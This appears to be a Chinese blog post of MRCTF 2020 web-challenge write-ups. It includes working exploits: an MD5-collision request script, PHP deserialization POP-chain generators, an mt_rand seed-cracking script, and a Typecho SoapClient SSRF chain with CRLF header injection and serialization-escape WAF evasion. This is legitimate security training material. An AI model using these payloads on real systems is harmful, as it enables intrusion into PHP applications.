2020-MRCTF

ez_bypass

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

哈希碰撞,弱类型

import requests
from urllib.parse import quote
url='http://3b2f75e7-7fba-46c4-a68d-9eca2f54fa30.merak-ctf.site/'
with open(r'C:\Users\dell\Desktop\md5碰撞\out_test_001.txt','rb') as f:
    data1=f.read()
    data1=quote(data1,'utf-8')
with open(r'C:\Users\dell\Desktop\md5碰撞\out_test_000.txt','rb') as f:
    data2 = f.read()
    data2=quote(data2,'utf-8')
get='?id='+data1+'&gg='+data2
data={'passwd':'1234567admin'}
r = requests.post(url+get,data=data)
print(r.text)

你传你🐎呢

带恶人

对不起,这道题我做了一个小时。我硬是看nginx,硬是传.user.ini。

然后发现。。不对啊,目录下有没有php文件。不能利用啊。

CTFd平台,平台是nginx,为了快速访问和处理请求。所以wappalyzer判断都是nginx的。题目环境不一定是。然后传了.htaccess就成了

当场去世

 

 

题目设置了disable_functions,但是没有open_basedir

readfile('/flag')

PYwebsite

有点没看懂操作,前端验证授权码

 

flag.php这个页面的一句话,我已经把购买者的IP保存了。说明是通过IP来判断的?我一开始以为是client_IP或者X-Forwarded-For注入之类的。

 

只要127.0.0.1即可

Ezpop

 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

POP链

Show->preg_match->__toString()->Test->_get->Modifier->__invoke->append()

跟BJD那道我出的题其实都是源自一个,本来也想出这样的,但是新生赛还是调低了难度。

exp

<?php
class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str=new Test();
        $this->str->p=new Modifier();

    }
}
class Test{
    public $p;
}
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';

}
$a=new Show();
$a->source=new Show();
echo serialize($a);

 

套娃

之前没空,出于强迫症,写了一些题目作为草稿存着也是难受,直接全部写完把。下面的题目都是在BUU复现。还有bjd 2nd还没写完。同样的情况。难受。

 

 

 

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

这里运用到了php字符串解析特性bypass

payload:

b%20u%20p%20t=23333%0A

提示flag在secrettw.php

本来想测试下Clien-IP,X-Forwarded-For的,但是发现了jsfuck编码

解码获得

post me Merak

post传后获得源码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  

Client-IP可以获得ip,data://伪协议读入todat is a happy day 最后还需要一个解密

 

 

对应写一个unchange函数加密

 

 

 paload:

http://029d7f20-bd6e-45d7-8bfb-eb136806e4e9.node3.buuoj.cn/secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=

headers:
Client-Ip:127.0.0.1

 

 

Ezaudit

想这种用框架搭的,前端很好看的CTF题目,一般最好扫一下,很多都是源码泄露,代码审计类型,看题目也像。

都是429,那就不是源码泄露了。

但是页面上什么东西都点不动啊,手痒试了下www.zip,返回了源码

只有一个index.php

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

看到两个function钟的mt_rand就应该明白是伪随机数漏洞,具体不赘述,百度即可。

exp1参考题目地址:https://blog.csdn.net/yuaneuro/article/details/103994272

exp1

#变换成php_mt_seed可以识别的数据
str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2 = 'KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
res = ''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
            break
print(res)

获得种子

 

但是我用exp写的时候发现BNC8lyED7y8P并不对

 

这里看了下WP,发现是第二次,有两次生成的,private_key是第二次。

<?php 
mt_srand(1775196155);
function public_key($length = 16) {
  $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $public_key = '';
  for ( $i = 0; $i < $length; $i++ )
  $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
  return $public_key;
}
/**
 * 先生成一次公钥在生成一次密钥  XuNhoueCDCGc
 */
function private_key($length = 12) {
  $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $private_key = '';
  for ( $i = 0; $i < $length; $i++ )
  $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
  return $private_key;
}
echo public_key();
echo "\n";
echo private_key();
?>

获得private_key => 3NxjlpuxSI5y

发现还是错的。嗷。。我这个环境变量是7.2版本的。服务器是5.6的。

 

获得private_key=>XuNhoueCDCGc  (PS:要细心,别心急)

 

获得flag

 

Ezpop_Revenge

Typecho的博客模板,手动www.zip获得源码。(一般框架类的经常都是www.zip源代码审计)

 

审计代码,没发现东西,还是太noob了。去看了下WP

#https://github.com/BuptMerak/mrctf2020-writeups/tree/master/official

#https://blog.csdn.net/a3320315/article/details/105215741/

发现点在/usr/helloworld/plugin.php中

<?php
if (!defined('__TYPECHO_ROOT_DIR__')) exit;
/**
 * Hello World
 * 
 * @package HelloWorld 
 * @author qining
 * @version 1.0.0
 * @link http://typecho.org
 */
class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface
{
    /**
     * 激活插件方法,如果激活失败,直接抛出异常
     * 
     * @access public
     * @return void
     * @throws Typecho_Plugin_Exception
     */
    public static function activate()
    {
        Typecho_Plugin::factory('admin/menu.php')->navBar = array('HelloWorld_Plugin', 'render');
    }
    
    /**
     * 禁用插件方法,如果禁用失败,直接抛出异常
     * 
     * @static
     * @access public
     * @return void
     * @throws Typecho_Plugin_Exception
     */
    public static function deactivate(){}
    
    /**
     * 获取插件配置面板
     * 
     * @access public
     * @param Typecho_Widget_Helper_Form $form 配置面板
     * @return void
     */
    public static function config(Typecho_Widget_Helper_Form $form)
    {
        /** 分类名称 */
        $name = new Typecho_Widget_Helper_Form_Element_Text('word', NULL, 'Hello World', _t('说点什么'));
        $form->addInput($name);
    }
    
    /**
     * 个人用户的配置面板
     * 
     * @access public
     * @param Typecho_Widget_Helper_Form $form
     * @return void
     */
    public static function personalConfig(Typecho_Widget_Helper_Form $form){}
    
    /**
     * 插件实现方法
     * 
     * @access public
     * @return void
     */
    public static function render()
    {
        echo '<span class="message success">'
            . htmlspecialchars(Typecho_Widget::widget('Widget_Options')->plugin('HelloWorld')->word)
            . '</span>';
    }

    public function execute() {
        //Do nothing
        echo '<!DOCTYPE HTML>
<html class="no-js">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="renderer" content="webkit">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <title>页面没找到 - Hello World</title>

    <!-- 使用url函数转换相关路径 -->
    <link rel="stylesheet" href="http://127.0.0.1/usr/themes/default/normalize.css">
    <link rel="stylesheet" href="http://127.0.0.1/usr/themes/default/grid.css">
    <link rel="stylesheet" href="http://127.0.0.1/usr/themes/default/style.css">

    <!--[if lt IE 9]>
    <script src="//cdnjscn.b0.upaiyun.com/libs/html5shiv/r29/html5.min.js"></script>
    <script src="//cdnjscn.b0.upaiyun.com/libs/respond.js/1.3.0/respond.min.js"></script>
    <![endif]-->

    <!-- 通过自有函数输出HTML头部信息 -->
    <meta name="description" content="Just So So ..." />
<meta name="keywords" content="typecho,php,blog" />
<meta name="generator" content="Typecho 1.2/18.10.23" />
<meta name="template" content="default" />
<link rel="alternate" type="application/rss+xml" title="页面没找到 &raquo; Hello World &raquo; RSS 2.0" href="http://127.0.0.1/index.php/feed/" />
<link rel="alternate" type="application/rdf+xml" title="页面没找到 &raquo; Hello World &raquo; RSS 1.0" href="http://127.0.0.1/index.php/feed/rss/" />
<link rel="alternate" type="application/atom+xml" title="页面没找到 &raquo; Hello World &raquo; ATOM 1.0" href="http://127.0.0.1/index.php/feed/atom/" />
</head>
<body>
<!--[if lt IE 8]>
    <div class="browsehappy" role="dialog">当前网页 <strong>不支持</strong> 你正在使用的浏览器. 为了正常的访问, 请 <a href="http://browsehappy.com/">升级你的浏览器</a>.</div>
<![endif]-->

<header id="header" class="clearfix">
    <div class="container">
        <div class="row">
            <div class="site-name col-mb-12 col-9">
                            <a id="logo" href="http://127.0.0.1/">Hello World</a>
                <p class="description">Just So So ...</p>
                        </div>
            <div class="site-search col-3 kit-hidden-tb">
                <form id="search" method="post" action="http://127.0.0.1/" role="search">
                    <label for="s" class="sr-only">搜索关键字</label>
                    <input type="text" id="s" name="s" class="text" placeholder="输入关键字搜索" />
                    <button type="submit" class="submit">搜索</button>
                </form>
            </div>
            <div class="col-mb-12">
                <nav id="nav-menu" class="clearfix" role="navigation">
                    <a href="http://127.0.0.1/">首页</a>
                                                            <a href="http://127.0.0.1/index.php/start-page.html" title="关于">关于</a>
                                    </nav>
            </div>
        </div><!-- end .row -->
    </div>
</header><!-- end #header -->
<div id="body">
    <div class="container">
        <div class="row">

    
    

    <div class="col-mb-12 col-tb-8 col-tb-offset-2">

        <div class="error-page">
            <h2 class="post-title">404 - 页面没找到</h2>
            <p>你想查看的页面已被转移或删除了, 要不要搜索看看: </p>
            <form method="post">
                <p><input type="text" name="s" class="text" autofocus /></p>
                <p><button type="submit" class="submit">搜索</button></p>
            </form>
        </div>

    </div><!-- end #content-->
    
        </div><!-- end .row -->
    </div>
</div><!-- end #body -->

<footer id="footer" role="contentinfo">
    &copy; 2020 <a href="http://127.0.0.1/">Hello World</a>.
    由 <a href="http://www.typecho.org">Typecho</a> 强力驱动.
</footer><!-- end #footer -->

</body>';
    }

    public function action(){
        if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
            if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
                unserialize(base64_decode($_POST['C0incid3nc3']));
            else {
                echo "Not that easy.";
            }
        }
    }
}

flag.php

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

flag.php中的Remote_ADDR很好的说明了需要用ssrf去触发

在页面中还实例化了Typecho_Db的类,跟踪查看

 

发现有字符串拼接,并且有提示__toString()魔术方法,adapterName是我们可控的,可以赋值为类名,调用__toString()

现在全局查找下__tostring ps:我这里根据的思路是query.php,文章=>https://blog.csdn.net/a3320315/article/details/105215741/

/var/Typecho/Db/Query.php

 

这里有个switch case的结果,可以发现_sqlPreBuild是我们可以控制的

并且Typecho_Db::SELECT是已知的为'SELECT'。_adapter也是我们可控的

 

 

 

 这里调用了parseSelect方法,如果是ssrf的话,我们可以通过一些原生类来触发反序列化。

这里很好的选择就是soapclient

soapclient类有一个__call的魔术方法,当调用不存在的或者不可调用的方法时触发。

具体的soapclient的利用详细可以看l3m0n师傅写的=>https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

 

这里直接用了HyyMbb师傅的exp

<?php

class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;

    public function __construct()
    {
       $target = 'http://127.0.0.1/flag.php';
        $headers = array(
        'X-Forwarded-For: 127.0.0.1',
        'Cookie: PHPSESSID=504k75447innl1uvvsclu6jeu3'
        );
        $b = new SoapClient(null,array('location' => $target,'user_agent'=>'HyyMbb^^'.join('^^',$headers),'uri'      => "aaab"));
        $this->_sqlPreBuild =array("action"=>"SELECT");
        $this->_adapter = $b;
    }
}


class HelloWorld_DB
{
    private $coincidence;

    public function __construct()
    {
        $this->coincidence = ["hello" => new Typecho_Db_Query()];
    }
}

$a = new HelloWorld_DB();
$aaa = serialize($a);

这里涉及到了CRLF,可以通过\r\n来满足http请求规范,内容中注入恶意数据

文章见=>https://www.jianshu.com/p/2f2e311e797b

运行exp提示没有soapclient()这个类,这里我们需要在php.ini开启这个扩展,去掉分号

 

这里因为过滤了百分号,所以会被waf挡下来

 

这里有个知识点,学习自=>W4nder师傅https://www.cnblogs.com/W4nder/p/12596114.html#%E8%B8%A9%E5%9D%91

在 PHP5 最新的 CVS 中,
新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:
string 型数据(字符串)新的序列化格式为:
S:"<length>":"<value>";
其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。
它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 \),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 \ 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 \ 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。

因此有两种写法:

普通的序列化小s对应的就是普通的字符串,如s:3:"%00a%00";
而序列化的大S则对应的是\加上16进制,如S:2:"\00a\00";

所以上面生成的payload还需要将%00替换成\00,string类型的s替换成S,并且base64_encode后POST上去,admin随意输入,在page_admin页面会自动调用action()方法

这里再放一下Ying师傅的操作步骤完整exp

<?php
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
    }
}
class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    }
}
class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;
    public function __construct(){
        $this->_sqlPreBuild['action']='SELECT';
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
    'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
        $this->_adapter=new SoapClient(
            null,
            array('location' => $target,
                'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
    }


}
function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    return $newstr;
}
$a=serialize(new HelloWorld_DB());
$a = urlencode($a);
$a = preg_replace('/%00/', '%5c%30%30', $a);
$a = decorate(urldecode($a));
echo base64_encode($a);

其实不需要%和s的问题,w4nder博客里提到,base64解码后,其实也是乱码,并不会检测到%。

 

posted @ 2020-04-02 14:38  yunying  阅读(1508)  评论(0编辑  收藏  举报